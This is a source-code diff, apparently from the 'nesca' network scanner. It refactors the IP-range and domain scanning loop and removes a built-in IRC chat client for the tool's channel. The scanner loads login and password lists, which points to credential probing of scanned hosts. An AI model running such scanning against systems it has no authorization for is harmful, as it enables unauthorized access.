@ -2146,7 +2103,6 @@ int startScan(char* args) {
ZeroMemory(ipsend, sizeof(ipsend)); ZeroMemory(ipsend, sizeof(ipsend));
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
//std::string OutputFolder = std::string(RESULT_DIR_NAME);
CreateDirectoryA(RESULT_DIR_NAME, NULL); CreateDirectoryA(RESULT_DIR_NAME, NULL);
#else #else
struct stat str = {0}; struct stat str = {0};
@ -2183,10 +2139,10 @@ int startScan(char* args) {
_passLoginLoader(); _passLoginLoader();
_NegativeLoader(); _NegativeLoader();
if (gMode == 0) runAuxiliaryThreads();
{
runAuxiliaryThreads();
if (gMode == 0)
{
unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3];
unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3];
@ -2197,7 +2153,7 @@ int startScan(char* args) {
for (unsigned long i = ip1; i <= ip2; ++i) { for (unsigned long i = ip1; i <= ip2; ++i) {
if (globalScanFlag == false) break; if (!globalScanFlag) break;
unsigned long offset = ip2 - i; unsigned long offset = ip2 - i;
tAddr.s_addr = ntohl(i); tAddr.s_addr = ntohl(i);
@ -2210,7 +2166,7 @@ int startScan(char* args) {
while (ipVec.size() != 0) { while (ipVec.size() != 0) {
while (cons >= gThreads && globalScanFlag) Sleep(500); while (cons >= gThreads && globalScanFlag) Sleep(500);
if (globalScanFlag == false) goto haters_gonna_hate_IPM; if (!globalScanFlag) goto haters_gonna_hate_IPM;
++indexIP; ++indexIP;
std::string res = ipVec[0]; std::string res = ipVec[0];
@ -2231,7 +2187,7 @@ int startScan(char* args) {
for (unsigned long i = ip1; i <= ip2; ++i) { for (unsigned long i = ip1; i <= ip2; ++i) {
while (cons >= gThreads && globalScanFlag) Sleep(500); while (cons >= gThreads && globalScanFlag) Sleep(500);
if (globalScanFlag == false) break; if (!globalScanFlag) break;
std::string res = ""; std::string res = "";
++indexIP; ++indexIP;
@ -2247,9 +2203,7 @@ int startScan(char* args) {
} }
} }
else if (gMode == 1) else if (gMode == 1)
{ {
runAuxiliaryThreads();
strcpy(top_level_domain, gFirstDom); strcpy(top_level_domain, gFirstDom);
char dataEntry[1024] = { 0 }; char dataEntry[1024] = { 0 };
@ -2301,6 +2255,7 @@ int startScan(char* args) {
memset(dataEntry + innerCounter++, saveEndIP[i], 1); memset(dataEntry + innerCounter++, saveEndIP[i], 1);
}; };
}; };
memset(dataEntry + innerCounter + 1, '\0', 1); memset(dataEntry + innerCounter + 1, '\0', 1);
for (int i = 0; i < sz; ++i) for (int i = 0; i < sz; ++i)
@ -2376,8 +2331,6 @@ int startScan(char* args) {
return -1; return -1;
}; };
runAuxiliaryThreads();
stt->doEmitionChangeStatus("Scanning..."); stt->doEmitionChangeStatus("Scanning...");
for (gC = 0; gC < flCounter; ++gC) for (gC = 0; gC < flCounter; ++gC)
{ {
@ -2407,7 +2360,7 @@ int startScan(char* args) {
for (unsigned long i = ip1; i <= ip2; ++i) { for (unsigned long i = ip1; i <= ip2; ++i) {
if (globalScanFlag == false) break; if (!globalScanFlag) break;
unsigned long offset = ip2 - i; unsigned long offset = ip2 - i;
tAddr.s_addr = ntohl(i); tAddr.s_addr = ntohl(i);
@ -2420,7 +2373,7 @@ int startScan(char* args) {
while (ipVec.size() != 0) { while (ipVec.size() != 0) {
while (cons >= gThreads && globalScanFlag) Sleep(500); while (cons >= gThreads && globalScanFlag) Sleep(500);
if (globalScanFlag == false) goto haters_gonna_hate_IM; if (!globalScanFlag) goto haters_gonna_hate_IM;
++indexIP; ++indexIP;
std::string res = ipVec[0]; std::string res = ipVec[0];
@ -2440,7 +2393,7 @@ int startScan(char* args) {
for (unsigned long i = ip1; i <= ip2; ++i) { for (unsigned long i = ip1; i <= ip2; ++i) {
while (cons >= gThreads && globalScanFlag) Sleep(500); while (cons >= gThreads && globalScanFlag) Sleep(500);
if (globalScanFlag == false) break; if (!globalScanFlag) break;
++indexIP; ++indexIP;
@ -2476,6 +2429,7 @@ int startScan(char* args) {
void nCleanup(){ void nCleanup(){
Threader::cleanUp(); Threader::cleanUp();
curl_global_cleanup();
if(loginLst != NULL) if(loginLst != NULL)
{ {
@ -2491,10 +2445,7 @@ void nCleanup(){
}; };
if(GlobalNegatives != NULL) if(GlobalNegatives != NULL)
{ {
for(int i = 0; i < GlobalNegativeSize; ++i) for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
{
delete []GlobalNegatives[i];
};
delete []GlobalNegatives; delete []GlobalNegatives;
GlobalNegatives = NULL; GlobalNegatives = NULL;
}; };

View File

@ -1,830 +0,0 @@
#include "oIRC_Th.h"
#include <QtMultimedia/qsound.h>
#include "externData.h"
#include "externFunctions.h"
int iWantToConnect = false;
#define MAX_IRC_RECV_LEN 2048
//#define IRC_CHAN "iskopasi_lab01"
void oIRC_Th::doEmitionPlayDckingSound()
{
emit ircTh->notifyPlay();
};
void oIRC_Th::doEmitUnhidePopup(QString str1, QString str2)
{
emit ircTh->sUnhidePopup(str1, str2);
};
void oIRC_Th::doEmitChangeIRCData(bool pm, bool hlflag, int code, QString str, QString s)
{
emit ircTh->changeIRCData(pm, hlflag, code, str, s);
};
void oIRC_Th::doEmitChangeRedIRCData(QString str)
{
emit ircTh->changeRedIRCData(str);
};
void oIRC_Th::doEmitChangeGreenIRCData(QString str)
{
emit ircTh->changeGreenIRCData(str);
};
void oIRC_Th::doEmitChangeYellowIRCData(QString str)
{
emit ircTh->changeYellowIRCData(str);
};
void oIRC_Th::doEmitChangeRawIRCDataInc(QString str)
{
emit ircTh->changeRawIRCDataInc(str);
};
void oIRC_Th::doEmitChangeRawIRCDataOut(QString str)
{
emit ircTh->changeRawIRCDataOut(str);
};
void oIRC_Th::doEmitSetNick(QString str)
{
emit ircTh->setNick(str);
};
void oIRC_Th::doEmitAddNick(QString str)
{
emit ircTh->AddNick(str);
};
void oIRC_Th::doEmitClearNickList()
{
emit ircTh->ClearNickList();
};
void oIRC_Th::doEmitIRCOfflined()
{
emit ircTh->IRCOfflined();
};
void oIRC_Th::doEmitGetTopic(QString str)
{
emit ircTh->getTopic(str);
};
QString GetNickColor(char *sn)
{
QString str(sn);
QString hexNick = str.toLocal8Bit().toHex();
int origLen = str.size();
int hln = hexNick.length();
while(hln < 7)
{
hexNick += "0";
hln = hexNick.length();
};
QString nickColorStr = hexNick.mid(0, 6);
QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size());
int nickColor = nickColorStr.toUInt(NULL, 16);
nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123);
nickColorStr.setNum(nickColor, 16);
nickColorStr = nickColorStr.mid(nickColorStr.size() - 6, nickColorStr.size());
int R = nickColorStr.mid(0, 2).toUInt(NULL, 16);
int G = nickColorStr.mid(2, 2).toUInt(NULL, 16);
int B = nickColorStr.mid(4, 2).toUInt(NULL, 16);
if(R < 100 && G < 100 && B < 100) nickBGColorStr = "#fd7e31";
else nickBGColorStr = "#000000";
return nickColorStr + "; background-color: " + nickBGColorStr + ";";
}
bool doHL(char *rawData)
{
if(strstr(rawData, ircNick) != NULL) return true;
else return false;
}
void _blinkNLine(QString tempData = "", QString senderNick = "")
{
if(widgetIsHidden == false && tray->isVisible() == false)
{
disableBlink = false;
if(irc_nmb->isRunning() == false) irc_nmb->start();
ircTh->doEmitUnhidePopup(tempData, senderNick);
if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", "");
printDelimiter = false;
};
}
int sendS(int lSock, char *msg, int len, int mode)
{
if(lSock == WSAENOTSOCK || lSock <= 0 || !connectedToIRC) {
ircTh->doEmitChangeRedIRCData("Not connected.");
return -1;
}
int b = send(lSock, msg, len, mode);
if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]");
else
{
Activity += len;
ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg));
};
return b;
}
int recvS(int lSock, char *recvBuffT, int len)
{
int b;
char recvBuff[MAX_IRC_RECV_LEN] = {0};
b = recv(lSock, recvBuff, sizeof(recvBuff), 0);
if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]");
else
{
Activity += len;
strcpy(recvBuffT, recvBuff);
ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff));
ZeroMemory(recvBuff, sizeof(recvBuff));
};
return b;
}
void UserNickInit()
{
strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data());
char tempBuffUser[1024] = {0};
strcpy(tempBuffUser, "USER ");
strcat(tempBuffUser, ircNick);
strcat(tempBuffUser, " \"netstalker01\" * : ");
strcat(tempBuffUser, ircNick);
strcat(tempBuffUser, "\r\n");
char tempBuffNick[1024] = {0};
strcpy(tempBuffNick, "NICK ");
strcat(tempBuffNick, ircNick);
strcat(tempBuffNick, "\r\n");
sendS(lSock, tempBuffUser, strlen(tempBuffUser), 0);
sendS(lSock, tempBuffNick, strlen(tempBuffNick), 0);
memset(tempBuffUser, '0', sizeof(tempBuffUser));
memset(tempBuffNick, '0', sizeof(tempBuffNick));
}
void GetNicks()
{
char chanTemp[64] = {0};
strcpy(chanTemp, "NAMES #");
strcat(chanTemp, IRC_CHAN);
strcat(chanTemp, "\r\n");
sendS(lSock, chanTemp, strlen(chanTemp), 0);
}
char *GetServerName(char *buff)
{
char *temp1 = NULL;
int sz = 0;
char name[128] = {0};
if(strstr(buff, " ") != NULL)
{
temp1 = strstr(buff, " ");
sz = temp1 - buff - 1;
strncpy(name, buff + 1, (sz < 128 ? sz : 128));
};
return name;
}
int jFlag1 = 0;
void __pinger(char *recvBuff)
{
if(strstr(recvBuff, "PING") != NULL)
{
char tmpa[128] = {0};
if(strstr(recvBuff, "PING :") != NULL)
{
if(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n") != NULL)
{
strcpy(tmpa, "PONG ");
strncat(tmpa, strstr(recvBuff, "PING :") + strlen("PING "), strlen(strstr(recvBuff, "PING :") + strlen("PING ")) - strlen(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n")));
strcat(tmpa, "\r\n");
sendS(lSock, tmpa, strlen(tmpa), 0);
}
else
{
strcpy(tmpa, "PONG ");
strncat(tmpa, strstr(recvBuff, ":"), 16);
strcat(tmpa, "\r\n");
sendS(lSock, tmpa, strlen(tmpa), 0);
};
if(ircPTh->isRunning() == false) ircPTh->start();
};
if(!jFlag1) //Channel-entering sequence
{
Sleep(500);
char chanTemp[32] = {0};
strcpy(chanTemp, "JOIN #");
strcat(chanTemp, IRC_CHAN);
strcat(chanTemp, "\r\n");
sendS(lSock, chanTemp, strlen(chanTemp), 0);
jFlag1 = 1;
};
globalPinger = 0;
memset(tmpa, '\0', sizeof(tmpa));
}
if(strstr(recvBuff, "PONG") != NULL)
{
char tmpa[128] = {0};
if(!jFlag1) //Channel-entering sequence
{
Sleep(500);
char chanTemp[32] = {0};
strcpy(chanTemp, "JOIN #");
strcat(chanTemp, IRC_CHAN);
strcat(chanTemp, "\r\n");
sendS(lSock, chanTemp, strlen(chanTemp), 0);
jFlag1 = 1;
};
globalPinger = 0;
memset(tmpa, '\0', sizeof(tmpa));
}
else if(strstr(recvBuff, "G :") != NULL)
{
char tmpa[128] = {0};
if(strstr(recvBuff, "G :") != NULL)
{
if(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n") != NULL)
{
strcpy(tmpa, "PONG ");
strncat(tmpa, strstr(recvBuff, "G :") + strlen("G :"), strlen(strstr(recvBuff, "G :") + strlen("G :")) - strlen(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n")));
strcat(tmpa, "\r\n");
sendS(lSock, tmpa, strlen(tmpa), 0);
}
else
{
strcpy(tmpa, "PONG ");
strncat(tmpa, strstr(recvBuff, ":"), 16);
strcat(tmpa, "\r\n");
sendS(lSock, tmpa, strlen(tmpa), 0);
};
};
if(!jFlag1) //Channel-entering sequence
{
Sleep(500);
char chanTemp[32] = {0};
strcpy(chanTemp, "JOIN #");
strcat(chanTemp, IRC_CHAN);
strcat(chanTemp, "\r\n");
sendS(lSock, chanTemp, strlen(chanTemp), 0);
jFlag1 = 1;
};
globalPinger = 0;
if(ircPTh->isRunning() == false) ircPTh->start();
memset(tmpa, '\0', sizeof(tmpa));
};
}
void IRCLoop()
{
nickFlag = 0;
offlineFlag = 0;
ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "...");
jFlag1 = 0;
sockaddr_in addr;
addr.sin_family = AF_INET;
HOSTENT *host;
if(proxyEnabledFlag)
{
addr.sin_port = htons(atoi(ircProxyPort));
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy);
else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy);
else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
}
else
{
addr.sin_port = htons(atoi(ircPort));
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircServer);
else if(host = gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircServer);
else if(host=gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
};
for(int conCounter = 1; conCounter <= 100; ++conCounter)
{
char topicData[256] = {0};
if(iWantToConnect == false) break;
OnlineMsgSentFlag = false;
lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "...");
if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR)
{
if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connection to proxy " + QString(ircProxy) + " established.");
globalPinger = 0;
char temprecvBuff[512] = {0};
char tempSendMsg[512] = {0};
if(proxyEnabledFlag)
{
strcpy(tempSendMsg, "CONNECT ");
strcat(tempSendMsg, ircServer);
strcat(tempSendMsg, ":");
strcat(tempSendMsg, ircPort);
strcat(tempSendMsg, " HTTP/1.1\r\n\r\n");
sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0);
recvS(lSock, temprecvBuff, sizeof(temprecvBuff));
if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK")
|| strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") )
{
ircTh->doEmitChangeYellowIRCData("Proxy accepted connection. Waiting for IRC reply...");
sendS(lSock, "\r\n", strlen("\r\n"), 0);
}
else
{
ircTh->doEmitChangeRedIRCData("[IRC: Bad proxy reply.]");
break;
};
}
else
{
sendS(lSock, "\r\n", strlen("\r\n"), 0);
};
UserNickInit();
char recvBuffG[MAX_IRC_RECV_LEN] = {0};
char serverRealName[256] = {0};
bool nameLocked = false;
char pTemp[32] = {0};
strcpy(pTemp, "PRIV");
strcat(pTemp, "MSG ");
while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN) > 0 && iWantToConnect)
{
if(strlen(recvBuffG) > 0)
{
char *recvBuff = recvBuffG;
__pinger(recvBuff);
char comStr[512] = {0};
char delimBf[512] = {0};
strcpy(delimBf, ":");
strcat(delimBf, serverRealName);
char *Gtemp = recvBuff;
while(strstr(Gtemp + 1, "\n") != NULL)
{
char *temp1 = NULL;
if(strstr(Gtemp + 1, "\n") != NULL) temp1 = strstr(Gtemp + 1, "\n");
else temp1 = Gtemp + strlen(Gtemp);
int csz = temp1 - Gtemp - 1;
strncpy(comStr, Gtemp, csz);
Gtemp = strstr(Gtemp + 1, "\n");
char privTemp[64] = {0};
strcpy(privTemp, "PRIV");
strcat(privTemp, "MSG #");
strcat(privTemp, IRC_CHAN);
strcat(privTemp, " :");
char pTemp[32] = {0};
strcpy(pTemp, " PRIV");
strcat(pTemp, "MSG ");
if(strstr(comStr, pTemp) == NULL)
{
char topicTemp[64] = {0};
strcpy(topicTemp, "TOPIC #");
strcat(topicTemp, IRC_CHAN);
strcat(topicTemp, " :");
if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL)
)
{
ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + ".");
if(nameLocked == false)
{
nameLocked = true;
strncpy(serverRealName, GetServerName(recvBuff), 128);
};
Sleep(500);
UserNickInit();
Sleep(500);
char chanTemp[32] = {0};
strcpy(chanTemp, "JOIN #");
strcat(chanTemp, IRC_CHAN);
strcat(chanTemp, "\r\n");
sendS(lSock, chanTemp, strlen(chanTemp), 0);
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "ERROR :Closing Link:") != NULL || strstr(comStr, "ERROR :") != NULL) )
{
if(strstr(comStr, "Registration timed out") != NULL)
{
ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)");
ircTh->terminate();
}
else
{
ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)");
ircTh->terminate();
};
}
else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL)
{
ircTh->doEmitChangeYellowIRCData("[" + QString::fromLocal8Bit("Óïûðüòå ìåë") + "] Flooding detected.");
}
else if((strstr(comStr, serverRealName) != NULL && strstr(comStr, " 332 ") != NULL)
|| strstr(comStr, topicTemp) != NULL)
{
char chanTemp[32] = {0};
strcpy(chanTemp, IRC_CHAN);
strcat(chanTemp, " :");
char *temp = strstr(comStr, chanTemp);
strncpy(topicData, temp + strlen(chanTemp), 256);
if(utfIRCFlag)
{
QTextCodec *codec = QTextCodec::codecForName("Windows-1251");
QByteArray wtf_s(QString::fromLocal8Bit(topicData).toStdString().c_str());
QByteArray wtf = codec->fromUnicode(wtf_s);
ircTh->doEmitGetTopic(wtf);
}
else ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData));
}
else if(strstr(comStr, "not channel operator") != NULL)
{
ircTh->doEmitChangeRedIRCData("[Nope] You're not channel operator.");
ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData));
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "353") != NULL || strstr(comStr, "End of /NAMES list") != NULL))
{
char *strMain = NULL;
char *str1 = NULL;
char *str2 = NULL;
if(strstr(comStr, " 353 ") != NULL) strMain = strstr(comStr, " 353 ");
if(strMain != NULL)
{
char cTemp[64] = {0};
strcpy(cTemp, IRC_CHAN);
strcat(cTemp, " :");
if(strstri(strMain, cTemp) != NULL) str1 = strstri(strMain, cTemp);
else
{
char chanTemp[64] = {0};
strcpy(chanTemp, IRC_CHAN);
strcat(chanTemp, " : Error in /NAMES");
str1 = chanTemp;
};
if(strstr(str1, ":") != NULL) str2 = strstr(str1 + 1, ":");
char temp[MAX_IRC_RECV_LEN] = {0};
int dsz = strlen(str2);
if(dsz > 0)
{
ircTh->doEmitClearNickList();
strncpy(temp, str2, dsz);
char *lex = strtok(temp + 1, " ");
while(lex != NULL && lex != "" && lex != "\r" && lex != "\r\n" && *lex != 13)
{
ircTh->doEmitAddNick(QString::fromLocal8Bit(lex));
lex = strtok(NULL, " ");
};
};
};
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0))
{
ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters.");
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) )
{
QTime time = QTime::currentTime();
qsrand((uint)time.msec());
ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use.");
ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 ));
UserNickInit();
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0))
{
ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast.");
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL
|| strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL)
&& strstr(comStr, "353") == NULL)
{
ircTh->doEmitChangeRedIRCData("[IRC: NAMES! lol]");
}
else if(strstr(comStr, "QUIT :Ping timeout") != NULL || strstr(comStr, "EOF From") != NULL
|| strstr(comStr, "EOF from") != NULL || strstr(comStr, " QUIT :") != NULL)
{
if(strstr(comStr, ":") != NULL)
{
if(strstr(comStr, "!") != NULL)
{
if(strstr(comStr, "@") != NULL)
{
char *temp1 = strstr(comStr, ":");
char *temp2 = strstr(temp1, "!");
char leaverNick[32] = {0};
int sz = temp2 - temp1;
strncpy(leaverNick, temp1, (sz < 16 ? sz : 16));
if(strstr(comStr, "QUIT :Ping timeout") != NULL)
{
ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout).");
_blinkNLine(QString(leaverNick) + " left channel (Ping timeout)", "[Server]");
}
else
{
ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel.");
_blinkNLine(QString(leaverNick) + " left channel.", "[Server]");
};
};
};
};
}
else if(strstr(comStr, "NICK :") != NULL)
{
char *temp;
char *temp2;
char senderNick[32] = {0};
if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":");
if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!");
int nickLen = temp2 - temp - 1;
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen);
if(strstr(comStr, "NICK :") != NULL) temp = strstr(comStr, "NICK :");
memset(temp + strlen(temp), '\0', 1);
QString newNick = QString((char*)(temp + strlen("NICK :")));
ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "].");
_blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]");
}
else if(iWantToConnect && (strstr(comStr, "JOIN :#") > 0 || strstr(comStr, "Join :#") > 0
|| strstr(comStr, "join :#") > 0))
{
char *temp;
char *temp2;
char senderNick[32] = {0};
if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":");
if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!");
int nickLen = temp2 - temp;
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1);
if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text())
{
ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel.");
_blinkNLine("[" + QString(senderNick) + "] joined the channel.", "[Server]");
}
else
{
ircTh->doEmitChangeYellowIRCData("You have joined the channel.");
_blinkNLine("You have joined the channel.", "[Server]");
if(!OnlineMsgSentFlag) //Sending data only once per connect
{
OnlineMsgSentFlag = true;
char temp[64] = {0};
strcpy(temp, "PRIV");
strcat(temp, "MSG #");
strcat(temp, IRC_CHAN);
strcat(temp, " :My version: v3_");
strcat(temp, gVER);
strcat(temp, "\n");
sendS(lSock, temp, strlen(temp), 0);
connectedToIRC = true;
};
};
}
else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0
|| strstr(comStr, "part #") > 0))
{
char *temp;
char *temp2;
char senderNick[32] = {0};
if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":");
if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!");
int nickLen = temp2 - temp;
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1);
if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel.");
else ircTh->doEmitChangeYellowIRCData("You have left the channel.");
};
}
else if(strstri(comStr, privTemp) != NULL)
{
char channelName[64] = {0};
strcpy(channelName, "PRIV");
strcat(channelName, "MSG #");
strcat(channelName, IRC_CHAN);
strcat(channelName, " :");
char *tprv = comStr;
char *temp = NULL;
char *temp2 = NULL;
__pinger(recvBuff);
char senderNick[32] = {0};
if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":");
if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!");
if(temp != NULL && temp2 != NULL)
{
if(strlen(temp) > 0 && strlen(temp2) > 0)
{
int nickLen = temp2 - temp;
if(nickLen <= 32)
{
char *tempD = strstri(tprv, channelName);
int nsz = strlen(channelName);
if(tempD == NULL) break;
char *temp4 = NULL;
int dsz = 0;
if(strstr(tempD, "\n") != NULL)
{
temp4 = strstr(tempD, "\n");
dsz = temp4 - tempD - nsz - 1;
};
char tempData[512] = {0};
if(temp4 != NULL)
{
strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz));
}
else strcpy(tempData, tempD + nsz);
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1);
if(strlen(tempData) > 0)
{
QString strf;
strf = QString::fromLocal8Bit(tempData);
_blinkNLine(strf, QString::fromLocal8Bit(senderNick));
ircTh->doEmitionPlayDckingSound();
bool HLFlag = doHL(strf.toLocal8Bit().data());
int cCode = 0;
ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " <a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>");
};
};
};
};
ZeroMemory(senderNick, sizeof(senderNick));
}
else if(strstri( comStr, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data() ) != NULL)
{
char *tprv = comStr;
char *temp = NULL;
char *temp2 = NULL;
char senderNick[32] = {0};
if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":");
if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!");
if(temp != NULL && temp2 != NULL)
{
if(strlen(temp) > 0 && strlen(temp2) > 0)
{
int nickLen = temp2 - temp;
if(nickLen <= 32)
{
char *tempD = strstri(tprv, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data());
int nsz = QString(ircNick).size() + 10;
if(tempD == NULL) break;
char *temp4 = NULL;
int dsz = 0;
if(strstr(tempD, "\n") != NULL)
{
temp4 = strstr(tempD, "\n");
dsz = temp4 - tempD - nsz - 1;
};
char tempData[512] = {0};
if(temp4 != NULL)
{
strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz));
}
else strcpy(tempData, tempD + nsz);
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1);
if(strlen(tempData) > 0)
{
QString strf;
strf = QString::fromLocal8Bit(tempData);
_blinkNLine(strf, QString::fromLocal8Bit(senderNick));
ircTh->doEmitionPlayDckingSound();
bool HLFlag = doHL(strf.toLocal8Bit().data());
int cCode = 0;
ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "<a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>");
};
};
};
};
ZeroMemory(senderNick, sizeof(senderNick));
};
ZeroMemory(comStr, sizeof(comStr));
};
ZeroMemory(recvBuffG, MAX_IRC_RECV_LEN);
};
};
if(iWantToConnect == true)
{
ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline.");
_blinkNLine("IRC server offlined!", "[Server]");
Sleep(5000);
connectedToIRC == false;
};
}
else
{
if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" );
else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" );
};
CSSOCKET(lSock);
};
//};
CSSOCKET(lSock);
};
void oIRC_Th::run()
{
IRCLoop();
ircTh->doEmitIRCOfflined();
};

View File

@ -1,47 +0,0 @@
#ifndef OIRC_TH_H
#define OIRC_TH_H
#pragma once
#include "nesca_3.h"
#include "irc_nmblinker.h"
#include "IRCPinger_Th.h"
class oIRC_Th : public QThread
{
Q_OBJECT
public:
void doEmitUnhidePopup(QString, QString);
void doEmitChangeIRCData(bool, bool, int, QString, QString);
void doEmitChangeRedIRCData(QString);
void doEmitChangeGreenIRCData(QString);
void doEmitChangeYellowIRCData(QString);
void doEmitChangeRawIRCDataInc(QString);
void doEmitChangeRawIRCDataOut(QString);
void doEmitSetNick(QString);
void doEmitAddNick(QString);
void doEmitClearNickList();
void doEmitIRCOfflined();
void doEmitionPlayDckingSound();
void doEmitGetTopic(QString str);
public: signals: void sUnhidePopup(QString, QString);
public: signals: void changeIRCData(bool, bool, int, QString, QString);
